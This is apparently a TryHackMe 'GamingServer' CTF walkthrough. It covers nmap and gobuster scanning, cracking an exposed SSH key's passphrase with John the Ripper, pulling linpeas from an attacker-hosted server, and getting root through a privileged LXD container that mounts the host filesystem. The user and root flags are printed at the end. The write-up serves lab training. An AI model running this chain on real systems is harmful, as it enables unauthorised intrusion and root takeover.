TryHackMe | GamingServer | Walkthrough

https://tryhackme.com/room/gamingserver

Initial Access

nmap -sC -sV -v gamingserver.thm

• **-sC → Runs the default Nmap scripts** (NSE – Nmap Scripting Engine). These scripts perform extra checks like service info, SSL certs, HTTP methods, etc.
• **-sV → Enables service version detection**. It tells you what service is running on each open port and its version (e.g., Apache 2.4.29, OpenSSH 7.6p1).
• **-v → Verbose mode**. Shows more detailed output during the scan, including progress and extra information.
• **gamingserver.thm → The target hostname**. In TryHackMe labs, .thm is a custom domain pointing to the lab machine.

• The target machine has SSH open → remote shell access is possible if you have valid credentials or an exploit.
• The machine also has Apache web server open → hosting a site called House of danak on port 80.

• Knowing the versions (OpenSSH 7.6p1, Apache 2.4.29) is important because you can check for known vulnerabilities (CVEs) or misconfigurations

Gobuster

gobuster dir -u http://gamingserver.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

index page showed a comment at the bottom referring to a user named john

John the Ripper

• In the /secret directory, there was a file named “SecretKey”. Opening it revealed a private SSH key. • You copied this key to your own folder and set the correct permissions with:

wget http://gamingserver.thm/secret/secretKey

Download secretKey

wget http://gamingserver.thm/uploads/dict.lst

Download wordlists

1. Convert the SSH key into a hash format John can read using :

/opt/john/ssh2john.py secretKey > keyhash

2. Run John the Ripper against the hash using the wordlists you found:

john keyhash -w=dict.lst

User: John

Now I have a way to access the machine, we can use ssh to log in as the John user.

chmod 600 secretKey

ssh -i secretKey john@gamingserver.thm

Privilege escalation(Root)

Let’s run linpeas on the machine to find any privesc vectors. First, we create a python server in the folder where we have our Linpeas script stored.

Download linpease

1. Python server

python3 -m http.server 8083

2. Download the script on the victim machine

wget http://10.48.98.35:8083/opt/PEAS/linPEAS/linpeas.sh

3. Running chmod and executing the script.

chmod +x linpeas.sh

./linpeas.sh

Highlighted items (yellow/green background)

• These are high‑probability privilege escalation vectors.
• LinPEAS highlights them because they often lead directly to root access if exploitable.
• Example: membership in groups like docker, lxd, or misconfigured sudo rules.

Red items

• These are important findings that might not be immediate privesc vectors but should be investigated if the highlighted ones don’t pan out.
• Example: unusual SUID binaries, writable cron jobs, or exposed credentials.

Exploits

1. On the attacker machine

• Download the build script (often called build-alpine or similar) from Exploit‑DB.
• This script builds a minimal Alpine Linux image packaged as a .tar.gz that LXD can import.

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

• After running, you’ll get something like:

alpine-v3.XX-x86_64-YYYYMMDD_HHMM.tar.gz

2. Upload the tarball to the victim machine • Use scp ,wget ,curl or to transfer the file.

wget http://10.48.98.35:8083/lxd-alpine-builder/alpine-v3.XX-x86_64-YYYYMMDD_HHMM.tar.gz

3. On the victim machine (as the compromised user in the lxd group)

• Import the image into LXD:

lxc image import ./alpine-v3.XX-x86_64-YYYYMMDD_HHMM.tar.gz --alias myimage

• Initialize a privileged container

lxc init myimage ignite -c security.privileged=true

• Mount the host root filesystem inside the container

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

• Start the container:

lxc start ignite

• Get a shell inside:

lxc exec ignite /bin/sh

4. Escalate to root • Inside the container, navigate to → this is the host’s root filesystem. • Because the container is privileged, you effectively have root access to the host.

Summary • The privesc vector is LXD group membership. • By importing a crafted Alpine image, initializing a privileged container, and mounting , you break out of the container and gain root on the host.

User.txt

a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e 

Root.txt

2e337b8c9f3aff0c2b3e8d4e6a7c88fc